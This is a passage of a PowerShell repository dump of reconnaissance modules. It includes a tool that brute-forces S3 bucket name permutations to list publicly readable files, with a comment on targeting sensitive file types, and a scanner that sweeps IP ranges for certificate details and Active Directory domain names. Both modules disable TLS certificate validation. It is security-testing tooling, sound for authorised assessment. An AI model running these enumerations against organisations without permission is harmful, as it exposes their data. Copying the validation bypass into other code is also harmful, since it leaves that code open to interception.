$_.ArinRef 240 | $IpInfoStartRange = $_.StartRange 241 | $IpInfoEndRange = $_.EndRange 242 | $IpInfoCountry = $_.Country 243 | $IpInfoCity = $_.City 244 | $IpInfoZip = $_.Zip 245 | $IpInfoISP = $_.ISP 246 | 247 | # Check for ip match 248 | if (($PortIpSrc -eq $IpInfoIpSrc) -and ($PortIpDst -eq $IpInfoIpDst)){ 249 | 250 | # Put results in the data table 251 | $OutputTbl.Rows.Add($IpInfoIpSrc, 252 | $IpInfoIpDst, 253 | $IpOrg, 254 | $IpInfoOwner, 255 | $ArinRef, 256 | $IpInfoStartRange, 257 | $IpInfoEndRange, 258 | $IpInfoCountry, 259 | $IpInfoCity, 260 | $IpInfoZip, 261 | $IpInfoISP, 262 | $PortIpPorts) | Out-Null 263 | } 264 | } 265 | } 266 | } 267 | 268 | End 269 | { 270 | # Status user 271 | Write-Host "Done." 272 | 273 | # Return the full result set 274 | $OutputTbl | Sort-Object Owner -Unique 275 | } 276 | } 277 | -------------------------------------------------------------------------------- /Get-PublicAwsS3BucketList.psm1: -------------------------------------------------------------------------------- 1 | # --------------------------------- 2 | # Get-PublicAwsS3BucketList 3 | # --------------------------------- 4 | # Author: Scott Sutherland (@_nullbind), NetSPI 2019 5 | # Version: 0.1 6 | # Description: This function can be used to obtain a list of keys (files) stored in publically accessible AWS S3 buckets that 7 | # have been configured to provide the "list" privilege to "Everyone". 8 | # It supports targeting a single bucket, a list of buckets, and generating permutations of provided bucket names. 9 | # Ref: https://docs.aws.amazon.com/AmazonS3/latest/API/v2-RESTBucketGET.html 10 | # Ref: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-buckets 11 | 12 | <# 13 | 14 | Below are some command examples: 15 | 16 | # Run against single bucket 17 | Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme" 18 | 19 | # Run against single bucket with permutations 20 | Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme" -Permutate 21 | 22 | # Run against bucket names provided from a file with permutations 23 | Get-PublicAwsS3BucketListFromDomains -Verbose -FilePath C:\temp\list.txt -Permutate 24 | 25 | # Run against bucket names provided from the pipeline with permutations 26 | "test.com","testing.com" | Get-PublicAwsS3BucketListFromDomains -Verbose -Permutate 27 | GC Domains.txt | Get-PublicAwsS3BucketListFromDomains -Verbose -Permutate 28 | 29 | # Run against single bucket with permutations and store results to variable 30 | $Results = Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme" -Permutate 31 | 32 | # View results 33 | # Note: If you find valid bucket names, but they do not allow you to list the files, Google dorking for the bucket names can be helpful. 34 | # Google dork automation TBD 35 | $Results 36 | 37 | ...[SNIP]... 38 | Size : 82838 39 | ETag : "fc677f31206e306bfa753856a6528c9a" 40 | LastModified : 2015-08-12T13:15:22.000Z 41 | URL : https://thethingfromthatplace.s3.amazonaws.com/001241bd47b1c45e3ea37baf2fccbb00.pdf 42 | BucketName : thethingfromthatplace 43 | StorageClass : STANDARD 44 | Key : 001241bd47b1c45e3ea37baf2fccbb00.pdf 45 | FileType : pdf 46 | ...[SNIP]... 47 | 48 | # Write results to a csv file 49 | $Results | Export-Csv c:\windows\temp\results.csv -NoTypeInformation 50 | 51 | # Summarize Results 52 | # Note: This is useful for targeting file types likely to contain sensitive data 53 | $Results | Where-Object FileType -NotLike "*/*" | Group-Object FileType | Select Name,Count | Sort-Object count -Descending 54 | 55 | Name Count 56 | ---- ----- 57 | pdf 2317 58 | jpg 408 59 | doc 73 60 | png 57 61 | docx 30 62 | gif 13 63 | mp3 11 64 | bmp 6 65 | zip 5 66 | pptx 4 67 | ics 3 68 | htm 3 69 | jpeg 3 70 | ppt 3 71 | wav 2 72 | wmv 2 73 | pdfundefined 1 74 | xlsx 1 75 | xls 1 76 | 77 | #> 78 | 79 | <# 80 | 81 | # Ability to take list of s3 buckets from pipeline or files 82 | 83 | # Todo 84 | # Create export options (csv / xml) 85 | # Create data summary output option 86 | # Create function level help 87 | # Add file download option 88 | # Add search for keywords and regex in file names and file contents 89 | # Switch to outputing psobject instead of data table, big buckets may take too long... 90 | # Add option to use authentication tokens 91 | # Add region support and look for user enumeration based on api options 92 | # Add integrations with services like cert stream and buckhacker 93 | # Add google / bing check for access denied errors 94 | 95 | #> 96 | 97 | Function Get-PublicAwsS3BucketList 98 | { 99 | [CmdletBinding()] 100 | Param( 101 | 102 | [string]$S3BucketName, 103 | $S3FileList, 104 | [string]$LastKey, 105 | [switch]$SuppressVerbose 106 | ) 107 | 108 | begin 109 | { 110 | } 111 | 112 | process 113 | { 114 | # Create webclient 115 | $GetBucket = New-Object net.webclient 116 | 117 | # Ignore cert warning 118 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 119 | 120 | # Set the s3 url 121 | if($LastKey){ 122 | $TargetUrl = "https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2&start-after=$LastKey" 123 | }else{ 124 | $TargetUrl = "https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2" 125 | 126 | if(-not $SuppressVerbose){ 127 | Write-Verbose "Sending initial request to server..." 128 | Write-Verbose "Please note that enumerating large (>100,000 keys) S3 buckets can take up to 5 minutes..." 129 | } 130 | } 131 | 132 | # Perform GET request for batch of 1000 records 133 | try{ 134 | [xml]$S3Bucket = $GetBucket.DownloadString($TargetUrl) 135 | }catch{ 136 | 137 | 138 | #$_.Exception.Message 139 | $ErrorCode = $_.Exception.Message.split("(")[2].replace(")","").replace("`"","") 140 | write-verbose "$ErrorCode - $TargetUrl" 141 | 142 | # Return record 143 | if ($ErrorCode -like "*403*"){ 144 | New-Object PSObject -Property @{ 145 | URL="$TargetUrl"; 146 | BucketName = "$S3BucketName" 147 | Key="NA"; 148 | FileType="NA" 149 | LastModified="NA"; 150 | ETag="NA"; 151 | Size="NA"; 152 | StorageClass="NA" 153 | Comment="Access Forbidden" 154 | } 155 | } 156 | return 157 | 158 | } 159 | 160 | # Display bucket information 161 | $S3BucketInfo = $S3Bucket.ListBucketResult | Select-Object Name,StartAfter,IsTruncated,Keycount 162 | $BucketName = $S3BucketInfo.Name 163 | $BucketStartAfter = $S3BucketInfo.StartAfter 164 | $BucketTruncated = $S3BucketInfo.IsTruncated 165 | $BucketKeyCount = $S3BucketInfo.Keycount 166 | 167 | if(-not $SuppressVerbose){ 168 | Write-Verbose " Base URL:https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2&start-after=" 169 | Write-Verbose " Name: $BucketName" 170 | Write-Verbose " StartAfter: $BucketStartAfter" 171 | Write-Verbose " IsTruncated: $BucketTruncated" 172 | Write-Verbose " KeyCount: $BucketKeyCount" 173 | } 174 | 175 | # Get file list for current batch 176 | $S3FileList += $S3Bucket.ListBucketResult.Contents 177 | 178 | # Get key count so far 179 | $KeyCount = $S3FileList.Count 180 | 181 | # If information return is truncated continue to grab batches of 1000 records 182 | if ($S3BucketInfo.IsTruncated -eq $true){ 183 | 184 | # Status user 185 | Write-Verbose "$KeyCount keys (files) found, requesting 1000 more..." 186 | 187 | # Update $LastKey variable 188 | $LastKey = $S3FileList | Select-Object key -Last 1 -ExpandProperty Key 189 | 190 | # Request more records 191 | Get-PublicAwsS3BucketList -S3BucketName $S3BucketName -LastKey $LastKey -S3FileList $S3FileList 192 | }else{ 193 | 194 | # Return final count in verbose message 195 | $FinalKeyCount = $S3FileList.Count 196 | Write-Verbose "$FinalKeyCount keys (files) were found. - https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2" 197 | if(-not $SuppressVerbose){ 198 | Write-Verbose "$S3BucketName - Generating output table..." 199 | } 200 | 201 | # Flatten table structure 202 | $S3FileList | 203 | ForEach-Object{ 204 | 205 | # Filter out files without extensions 206 | $CurrentKey = $_.key 207 | $CurrentKeyReverse = ([regex]::Matches($CurrentKey,'.','RightToLeft') | ForEach {$_.value}) -join '' 208 | $CurrentKeyExtReverse = $CurrentKeyReverse.split('.')[0] 209 | $CurrentKeyExt = ([regex]::Matches($CurrentKeyExtReverse,'.','RightToLeft') | ForEach {$_.value}) -join '' 210 | 211 | # Return record 212 | New-Object PSObject -Property @{ 213 | URL="https://$S3BucketName.s3.amazonaws.com/$CurrentKey"; 214 | BucketName = $BucketName 215 | Key=$_.key; 216 | FileType=$CurrentKeyExt.ToLower() 217 | LastModified=$_.LastModified; 218 | ETag=$_.ETag; 219 | Size=$_.Size; 220 | StorageClass=$_.StorageClass; 221 | Comment="List Permission Granted to Everyone"; 222 | } 223 | } 224 | } 225 | } 226 | 227 | end 228 | { 229 | } 230 | } 231 | 232 | 233 | Function Get-PublicAwsS3BucketListFromDomains 234 | { 235 | [CmdletBinding()] 236 | Param( 237 | 238 | [Parameter(Mandatory = $false, 239 | HelpMessage = 'Provide a file containing domain names or desired S3 bucket names.')] 240 | [string]$BucketList, 241 | 242 | [Parameter(Mandatory = $false, 243 | ValueFromPipeline = $true, 244 | ValueFromPipelineByPropertyName = $true, 245 | HelpMessage = 'Provide the base S3Bucket name.')] 246 | [string]$S3Bucket, 247 | 248 | [Parameter(Mandatory = $false, 249 | HelpMessage = 'Perform enumeration using basic permutations.')] 250 | [switch]$Permutate 251 | ) 252 | 253 | begin{ 254 | 255 | # Create a list of words to be used for permutations 256 | $Permutations = New-Object System.Collections.ArrayList 257 | [void]$Permutations.Add("www") 258 | [void]$Permutations.Add("web") 259 | [void]$Permutations.Add("backup") 260 | [void]$Permutations.Add("logs") 261 | [void]$Permutations.Add("dev") 262 | [void]$Permutations.Add("qa") 263 | [void]$Permutations.Add("uat") 264 | [void]$Permutations.Add("staging") 265 | [void]$Permutations.Add("prod") 266 | [void]$Permutations.Add("api") 267 | [void]$Permutations.Add("test") 268 | [void]$Permutations.Add("test123") 269 | [void]$Permutations.Add("images") 270 | [void]$Permutations.Add("data") 271 | [void]$Permutations.Add("public") 272 | [void]$Permutations.Add("private") 273 | [void]$Permutations.Add("internal") 274 | [void]$Permutations.Add("secret") 275 | [void]$Permutations.Add("files") 276 | [void]$Permutations.Add("tmp") 277 | [void]$Permutations.Add("temp") 278 | [void]$Permutations.Add("key") 279 | [void]$Permutations.Add("keys") 280 | [void]$Permutations.Add("site") 281 | [void]$Permutations.Add("test123") 282 | [void]$Permutations.Add("test123") 283 | [void]$Permutations.Add("123") 284 | [void]$Permutations.Add("12") 285 | [void]$Permutations.Add("asdf") 286 | 287 | # Create list to conduct permutations against 288 | $List_PrePerm = New-Object System.Collections.ArrayList 289 | 290 | # Create list for storing S3 buckets to test 291 | $List_PostPerm = New-Object System.Collections.ArrayList 292 | 293 | # Load the file contents into preperm 294 | if($BucketList){ 295 | 296 | # Check if file exists 297 | if(Test-Path $BucketList){ 298 | 299 | Write-Verbose "Importing domains from $BucketList." 300 | 301 | # Load contents of file 302 | GC $BucketList | 303 | ForEach-Object{ 304 | 305 | # Get domain 306 | $Domain = $_ 307 | 308 | # Remove domain extenstion 309 | $DomainNoExt = $Domain.Replace("mail.", "").Replace("www.", "").split('.')[0] 310 | 311 | # Add to preperm list 312 | $List_PrePerm.Add("$DomainNoExt") | Out-Null 313 | 314 | # Standalone word 315 | $List_PostPerm.Add("$DomainNoExt")| Out-Null 316 | } 317 | 318 | }else{ 319 | Write-Verbose "Importing domains from $BucketList Failed. File does not exist." 320 | } 321 | } 322 | Write-Verbose "Importing domains from pipeline and provided parameters." 323 | } 324 | 325 | process{ 326 | 327 | # Process domain names provided as a parameter or pipeline item 328 | if($S3Bucket){ 329 | $CleanBucket = $S3Bucket.Replace("mail.", "").Replace("www.", "").split('.')[0] 330 | #$CleanBucket = $S3Bucket 331 | $List_PrePerm.Add("$CleanBucket") | Out-Null 332 | 333 | # Standalone word 334 | $List_PostPerm.Add("$CleanBucket")| Out-Null 335 | } 336 | } 337 | 338 | end{ 339 | 340 | # Get count of List_PrePerm 341 | $ListPrePerm_Count = $List_PrePerm.count 342 | 343 | if($ListPrePerm_Count -eq 0){ 344 | Write-Verbose "No files or S3 bucket names were provided for processing." 345 | return 346 | } 347 | 348 | if($Permutate){ 349 | 350 | # Generate permutations 351 | Write-Verbose "$ListPrePerm_Count domains provided." 352 | 353 | # Create permutations for each domain 354 | $List_PrePerm | 355 | ForEach-Object{ 356 | 357 | $S3Name = $_ 358 | 359 | # Create permutation for s3 bucket 360 | $Permutations | 361 | ForEach-Object{ 362 | 363 | # Concat to front 364 | $List_PostPerm.Add("$_$S3Name")| Out-Null 365 | 366 | # Add to front with dash 367 | $List_PostPerm.Add("$_-$S3Name")| Out-Null 368 | 369 | # Add to back with dash 370 | $List_PostPerm.Add("$S3Name-$_") | Out-Null 371 | } 372 | } 373 | } 374 | 375 | # Perform requests if there is anything to process 376 | if($List_PostPerm){ 377 | 378 | # Check if each permutation exists as s3 bucket 379 | $S3CheckCount = $List_PostPerm.count 380 | $MyCount = 0 381 | Write-Verbose "$S3CheckCount permutations (S3 buckets) will be checked." 382 | $List_PostPerm | Get-Unique | 383 | ForEach-Object { 384 | $MyCount = $MyCount + 1 385 | Write-Verbose "Testing $MyCount of $S3CheckCount " 386 | Get-PublicAwsS3BucketList -S3BucketName $_ -SuppressVerbose 387 | } 388 | } 389 | } 390 | } 391 | 392 | 393 | Function Get-PublicAwsS3BucketListFromS3List 394 | { 395 | [CmdletBinding()] 396 | Param( 397 | 398 | [string]$FilePath 399 | ) 400 | } 401 | 402 | 403 | Function Get-PublicAwsS3Config 404 | { 405 | [CmdletBinding()] 406 | Param( 407 | 408 | [string]$S3BucketName 409 | ) 410 | 411 | <# 412 | # Check Access to management features 413 | Get-PublicAwsS3Config -S3BucketName "thethingfromthatplace" -Verbose 414 | 415 | # Get initial inventory 416 | $results = (Get-PublicAwsS3Config -S3BucketName "thethingfromthatplace" | Where-Object accessible -Like "Yes" | Select details ) 417 | [xml]$Inventory = $results.Details 418 | $Inventory.ListBucketResult.Contents 419 | #> 420 | 421 | # Create list of taret urls 422 | $MyTargetUrls = New-Object System.Collections.ArrayList 423 | $MyTargetUrls.Add("policy") | Out-Null 424 | $MyTargetUrls.Add("requestPayment") | Out-Null 425 | $MyTargetUrls.Add("tagging") | Out-Null 426 | $MyTargetUrls.Add("versioning") | Out-Null 427 | $MyTargetUrls.Add("website") | Out-Null 428 | $MyTargetUrls.Add("encryption") | Out-Null 429 | $MyTargetUrls.Add("lifecycle") | Out-Null 430 | $MyTargetUrls.Add("acl") | Out-Null 431 | 432 | # Define output table 433 | $TblOutput = New-Object System.Data.DataTable 434 | $TblOutput.Columns.Add("Feature") | Out-Null 435 | $TblOutput.Columns.Add("Accessible") | Out-Null 436 | $TblOutput.Columns.Add("Details") | Out-Null 437 | 438 | 439 | # Attempt to access each target url 440 | $WebClient = New-Object net.webclient 441 | $webclient.Headers.Add("Host:$S3BucketName.s3.amazonaws.com") 442 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 443 | Write-Output "Checking access to $S3BucketName AWS S3 Resources..." 444 | $MyTargetUrls | 445 | ForEach-Object{ 446 | 447 | $Feature = $_ 448 | 449 | Write-Verbose "Trying https://s3.amazonaws.com/$_" 450 | 451 | try{ 452 | $Record = $WebClient.DownloadString("https://s3.amazonaws.com/$_") 453 | $TblOutput.Rows.Add($Feature,"Yes",$record) | Out-Null 454 | 455 | }catch{ 456 | $ErrorCode = $_.Exception.Message.split("(")[2].replace(")","").replace("`"","") 457 | $TblOutput.Rows.Add($Feature,"No",$ErrorCode) | Out-Null 458 | } 459 | } 460 | 461 | $TblOutput 462 | 463 | } 464 | -------------------------------------------------------------------------------- /Get-SSLCertInfo-Scan.psm1: -------------------------------------------------------------------------------- 1 | <# 2 | Script: Get-SSLCertInfo-Scan.psm1 3 | 4 | Version: 1.8 5 | 6 | Author: Scott Sutherland (@_nullbind), NetSPI 7 | References: This was based on work by Rob VandenBrink. 8 | References: https://isc.sans.edu/forums/diary/Assessing+Remote+Certificates+with+Powershell/20645/ 9 | 10 | Description: This script accepts IP/Port combinations and can be used to read information such as 11 | subject, name, and issuerfrom remote SSL certificates. See examples for more information. 12 | Examples: 13 | 14 | # Target specific IP and port 15 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -Port 443 16 | 17 | # Target specific IP Range and port options 18 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -cidr 24 -Port 443 19 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -mask 255.255.255.0 -Port 443 20 | Get-SSLCertInfo-Scan -Verbose -Start 192.168.1 -End 192.168.1.150 -Port 443 21 | 22 | # Target hostname and port 23 | Get-SSLCertInfo-Scan -Verbose -IPAddress domain.com -Port 443 24 | 25 | # Target a list of IP:Port from file, one per line; Display full records 26 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt 27 | 28 | # Target a list of IP:Port from file, one per line; Display a list of domains discovered. 29 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -OnlyDomainList 30 | 31 | # Target a list of IP:Port from file, one per line; Look up associated arin info. 32 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -ArinLookup 33 | 34 | # Target a list of IP:Port from pipeline 35 | "127.0.0.1:50" | Get-SSLCertInfo-Scan -Verbose 36 | 37 | # Target a list of IP:Port from file, one per line; Display a list of domains discovered. Show potential 38 | # Active Directory domains in verbose output based on number of ".". 39 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -OnlyDomainList -ShowAdDomains 40 | 41 | # Target all parameters, pipeline, and file inputs. Store the results and display them 42 | $Results = "127.0.0.1:50","127.0.0.2:50", | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -IPAddress 127.0.0.3 -Port 443 43 | $Results 44 | $Results | Export-CSV -NoTypeInformation output.csv 45 | $Results | Out-GridView 46 | 47 | # Todo 48 | Add runspace threading 49 | Add nmap importer 50 | Add nessus importer 51 | #> 52 | 53 | function Get-SSLCertInfo-Scan { 54 | 55 | [CmdletBinding()] 56 | Param( 57 | [Parameter(Mandatory=$false, 58 | HelpMessage="File containing URLs/IP and ports IP:Port.")] 59 | [string]$InputFile, 60 | [Parameter(Mandatory=$false, 61 | HelpMessage="Only display list of uniq domains.")] 62 | [switch]$OnlyDomainList, 63 | [Parameter(Mandatory=$false, 64 | HelpMessage="List potential Active Directory domains.")] 65 | [switch]$ShowAdDomains, 66 | [Parameter(Mandatory=$false, 67 | HelpMessage="Look up ip address owner.")] 68 | [switch]$ArinLookup, 69 | [Parameter(Mandatory=$false, 70 | HelpMessage="IP Address.")] 71 | [string]$IPAddress, 72 | [Parameter(Mandatory=$false, 73 | HelpMessage="Used with the ipaddress parameter to define a subnet to be scanned.")] 74 | [string]$Cidr, 75 | [Parameter(Mandatory=$false, 76 | HelpMessage="Used with the ipaddress parameter to define a subnet to be scanned.")] 77 | [string]$mask, 78 | [Parameter(Mandatory=$false, 79 | HelpMessage="Used to define first ip address in range.")] 80 | [string]$StartIp, 81 | [Parameter(Mandatory=$false, 82 | HelpMessage="Used to define end ip address in range.")] 83 | [string]$EndIp, 84 | [Parameter(Mandatory=$false, 85 | HelpMessage="TCP port.")] 86 | [string]$Port, 87 | [Parameter(Mandatory=$false, 88 | ValueFromPipeline = $true, 89 | ValueFromPipelineByPropertyName = $true, 90 | HelpMessage="IP port combo IP:PORT.")] 91 | [string]$IPPort 92 | ) 93 | 94 | Begin 95 | { 96 | Write-Verbose "Creating a list of targets" 97 | 98 | # Create output table 99 | $CertificateInfo = New-Object System.Data.DataTable 100 | $null = $CertificateInfo.Columns.Add("IpAddress") 101 | $null = $CertificateInfo.Columns.Add("Port") 102 | $null = $CertificateInfo.Columns.Add("Subject") 103 | $null = $CertificateInfo.Columns.Add("EffectiveDate") 104 | $null = $CertificateInfo.Columns.Add("ExpirationDate") 105 | $null = $CertificateInfo.Columns.Add("Issuser") 106 | $null = $CertificateInfo.Columns.Add("Verified") 107 | 108 | # Create targets table 109 | $Targets = New-Object System.Data.DataTable 110 | $null = $targets.Columns.Add("IPAddress") 111 | $null = $targets.Columns.Add("Port") 112 | 113 | # If port provided in parameter 114 | if(-not $TargetPort -and $Port){ 115 | $TargetPort = $Port 116 | } 117 | 118 | # If port not provided in file, and none provided in parameter - default port :) 119 | if(-not $TargetPort){ 120 | $TargetPort = "443" 121 | } 122 | 123 | # Process single target with defined port 124 | if($IPAddress -and $Port -and -not $cidr -and -not $mask) 125 | { 126 | # Add target to list 127 | Write-Verbose " - Importing targets from parameters" 128 | $targets.Rows.Add($IPAddress,$Port) | Out-Null 129 | } 130 | 131 | # Process single target without defined port 132 | if($IPAddress -and -not $Port -and -not $cidr -and -not $mask) 133 | { 134 | # Add target to list 135 | $Port = "443" 136 | Write-Verbose " - Importing targets from parameters" 137 | $targets.Rows.Add($IPAddress,$Port) | Out-Null 138 | } 139 | 140 | # Process single IP:Port target 141 | if($IPPort) 142 | { 143 | $Target = $IPPort -split(":")[0] 144 | $TargetPort = $Target[1] 145 | $TargetIP = $Target[0] 146 | 147 | # Add to targets list 148 | Write-Verbose " - Importing targets from parameters - alt format" 149 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null 150 | } 151 | 152 | # Process IP range - CIDR 153 | if($IPAddress -and $Cidr){ 154 | Write-Verbose " - Importing IP range cidr - $IPAddress/$cidr on $TargetPort" 155 | Get-IPrange -ip $IPAddress -cidr $Cidr| 156 | ForEach-Object{ 157 | $targets.Rows.Add($_,$TargetPort) | Out-Null 158 | } 159 | } 160 | 161 | # Process IP range - Mask 162 | if($IPAddress -and $mask){ 163 | Write-Verbose " - Importing IP range mask $IPAddress - $mask on $TargetPort" 164 | Get-IPrange -ip $IPAddress -mask $mask| 165 | ForEach-Object{ 166 | $targets.Rows.Add($_,$TargetPort) | Out-Null 167 | } 168 | } 169 | 170 | # Process IP range - Start/End 171 | if($StartIp -and $EndIp){ 172 | Write-Verbose " - Importing IP range $startip - $Endip on $TargetPort" 173 | Get-IPrange -start $StartIp -end $EndIp | 174 | ForEach-Object{ 175 | $targets.Rows.Add($_,$TargetPort) | Out-Null 176 | } 177 | } 178 | 179 | # Process a list of targets 180 | if($InputFile){ 181 | 182 | # Get target list from file 183 | if(Test-Path -Path $InputFile){ 184 | 185 | Write-Verbose " - Importing targets from $InputFile" 186 | $IpPortList = gc $InputFile 187 | $IpPortList | 188 | ForEach-Object { 189 | $Target = $_ -split(":")[0] 190 | $TargetPort = $Target[1] 191 | $TargetIP = $Target[0] 192 | 193 | # If port provided in parameter 194 | if(-not $TargetPort -and $Port){ 195 | $TargetPort = $Port 196 | } 197 | 198 | # If port not provided in file, and none provided in parameter - default port :) 199 | if(-not $TargetPort){ 200 | $TargetPort = "443" 201 | } 202 | 203 | # Add to targets list 204 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null 205 | } 206 | }else{ 207 | Write-Verbose " - File path is invalid." 208 | } 209 | } 210 | } 211 | 212 | Process 213 | { 214 | # Add targets from the pipeline 215 | if($_){ 216 | 217 | Write-Verbose " - Importing targets from pipeline" 218 | 219 | # Get target list from pipeline 220 | $Target = $_ -split(":")[0] 221 | $TargetIp = $Target[1] 222 | $TargetPort = $Target[0] 223 | 224 | # Add to targets list 225 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null 226 | } 227 | } 228 | 229 | End 230 | { 231 | 232 | # ------------------------------ 233 | # Scrape cert info from targets 234 | # ------------------------------ 235 | Write-Verbose "Grabbing certificate information" 236 | $DraftResults = $targets | 237 | ForEach-Object { 238 | $CurrentIp = $_.IpAddress 239 | $CurrentPort = $_.Port 240 | Get-CertInfo -IPAddress $CurrentIp -Port $CurrentPort -ErrorAction SilentlyContinue 241 | } 242 | 243 | # ------------------------------ 244 | # Get unique list of domains 245 | # ------------------------------ 246 | $AltDomainList = $DraftResults | where SubjectAltName -notlike "" | Select-Object SubjectAltName -ExpandProperty SubjectAltName 247 | $OrgDomainList = $DraftResults | where SubjectDomain -notlike "" | Select-Object SubjectDomain -ExpandProperty SubjectDomain 248 | $DomainList = $AltDomainList+$OrgDomainList | Select-Object @{Name="DomainName";Expression={$_}} | Sort-Object DomainName -Unique 249 | $DomainCount = $DomainList.count 250 | Write-Verbose "$DomainCount unique domains found." 251 | 252 | 253 | # ------------------------------ 254 | # Resolve arin if asked 255 | # ------------------------------ 256 | if($ArinLookup -and (-not $OnlyDomainList)){ 257 | Write-Verbose "Processing arin lookups" 258 | $DraftResults | Where-Object SubjectDomain -NotLike "" | 259 | foreach { 260 | $rdomain = $_.SubjectDomain 261 | $rsubdomain = $_.SubjectAltName 262 | $rip = $_.ipaddress 263 | $rport = $_.port 264 | Write-Verbose " - Processing arin lookups - $rip ($rdomain - $rsubdomain)" 265 | Invoke-Arin-Lookup -Verbose -IpAddress $rip -IpPort $_.port -Domain $rdomain -SubDomain $rsubdomain -Subject $_.Subject -SubjectCountry $_.SubjectCountry -SubjectState $_.SubjectState -SubjectCity $_.SubjectCity -SubjectOrganization $_.SubjectOrganization -SubjectOU $_.SubjectOU -Issuer $_.Issuer -ExpirationDate $_.ExpirationDate -EffectiveDate $_.EffectiveDate -Verified $_.Verified -thumbprint $_.thumbprint -ErrorAction SilentlyContinue 266 | } 267 | } 268 | 269 | # Display Results 270 | If($OnlyDomainList){ 271 | $DomainList 272 | }else{ 273 | if(-not $ArinLookup){ 274 | $DraftResults | Sort-Object SubjectDomain,SubjectAltName -Unique 275 | } 276 | } 277 | 278 | # ------------------------------ 279 | # Check for potential ad domains 280 | # ------------------------------ 281 | if($ShowAdDomains){ 282 | 283 | # All domains with > 2 ".", filter out www, drop host name, uniuque display 284 | Write-Verbose "Checking for potential Active Directory domains." 285 | $PotentialAdDomains = New-Object System.Data.DataTable 286 | $PotentialAdDomains.Columns.add("DomainName") | Out-Null 287 | $DomainList | 288 | ForEach-Object { 289 | #$CheckDomain = "hostname.subdomain.domain.com" 290 | $CheckDomain = $_.DomainName 291 | $CheckDomainArray = $CheckDomain.Split(".") 292 | $CheckDomainNum = $CheckDomainArray.GetUpperBound(0); 293 | if(($CheckDomainNum -gt 2) -and ($CheckDomain -notlike "*www.*")){ 294 | 295 | # Grab the potential ad domain by dropping the hostname 296 | #$PotentialAdDomains += [string]($CheckDomainArray[1..$CheckDomainNum] -join(".")) 297 | $PotentialAdDomains += [string]($CheckDomainArray[1..$CheckDomainNum] -join(".")) 298 | } 299 | } 300 | 301 | # Display final list 302 | $PotentialAdDomainsUnique = $PotentialAdDomains | Select-Object -Unique 303 | $AdCount = $PotentialAdDomainsUnique.count 304 | Write-Verbose "$AdCount potential Active Directory domains were found." 305 | $PotentialAdDomainsUnique | foreach {write-verbose "- $_"} 306 | 307 | # Write log 308 | if($ADOutputFile){ 309 | $PotentialAdDomainsUnique | Out-File $ADOutputFile 310 | } 311 | } 312 | } 313 | } 314 | 315 | function Get-CertInfo 316 | { 317 | [CmdletBinding()] 318 | Param ( 319 | [string]$IPAddress, 320 | [Parameter(Mandatory=$false, 321 | HelpMessage="TCP port.")] 322 | [string]$Port 323 | ) 324 | 325 | write-verbose " - Grabbing certificate info from $IPAddress on $port" 326 | 327 | # Create connection to server 328 | $TCPClient = New-Object -TypeName System.Net.Sockets.TCPClient 329 | $TcpSocket = New-Object Net.Sockets.TcpClient($IPAddress,$Port) 330 | $TcpSocket.ReceiveTimeout = 5000; 331 | 332 | # Establish stream 333 | $tcpstream = $TcpSocket.GetStream() 334 | $Callback = {param($sender,$cert,$chain,$errors) return $true} 335 | $SSLStream = New-Object -TypeName System.Net.Security.SSLStream -ArgumentList @($tcpstream, $True, $Callback) 336 | $SSLStream.AuthenticateAsClient($IPAddress) 337 | 338 | # Grab cert information 339 | $Certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($SSLStream.RemoteCertificate) 340 | 341 | # Clean up 342 | $SSLStream.Dispose() 343 | $TCPClient.Dispose() 344 | 345 | $SubjectArray = $Certificate.GetName() -split(",") 346 | $SubjectArray | 347 | ForEach-Object{ 348 | 349 | $item = $_.ToString().Trim() 350 | $itemParts = $item -split("=") 351 | 352 | # Set country 353 | if($itemParts[0] -like "C"){ 354 | $Country = $itemParts[1] 355 | } 356 | 357 | # Set state 358 | if(($itemParts[0] -like "S") -or ($itemParts[0] -like "ST")){ 359 | $State = $itemParts[1] 360 | } 361 | 362 | # Set city 363 | if($itemParts[0] -like "L"){ 364 | $City = $itemParts[1] 365 | } 366 | 367 | # Set Oranization 368 | if($itemParts[0] -like "O"){ 369 | $Organization = $itemParts[1] 370 | } 371 | 372 | # Set Oranization Unit 373 | if($itemParts[0] -like "OU"){ 374 | $OranizationalUnit = $itemParts[1] 375 | } 376 | 377 | # Set Domain 378 | if($itemParts[0] -like "CN"){ 379 | $Domain = $itemParts[1] 380 | } 381 | } 382 | 383 | # Get Alternative Domain List 384 | if($Certificate.DnsNameList){ 385 | $Certificate.DnsNameList | 386 | ForEach-Object{ 387 | 388 | [string]$AltDomain = $_[0]; 389 | $CertInfo = New-Object PSObject 390 | $CertInfo | add-member Noteproperty IpAddress $IPAddress; 391 | $CertInfo | add-member Noteproperty Port $Port; 392 | $CertInfo | add-member Noteproperty Subject $Certificate.GetName(); 393 | $CertInfo | add-member Noteproperty SubjectCountry $Country; 394 | $CertInfo | add-member Noteproperty SubjectState $State; 395 | $CertInfo | add-member Noteproperty SubjectCity $City; 396 | $CertInfo | add-member Noteproperty SubjectOrganization $Organization; 397 | $CertInfo | add-member Noteproperty SubjectOU $OranizationalUnit; 398 | $CertInfo | add-member Noteproperty SubjectDomain $Domain; 399 | $CertInfo | add-member Noteproperty SubjectAltName $AltDomain; 400 | $CertInfo | add-member Noteproperty Issuer $Certificate.GetIssuerName(); 401 | $CertInfo | 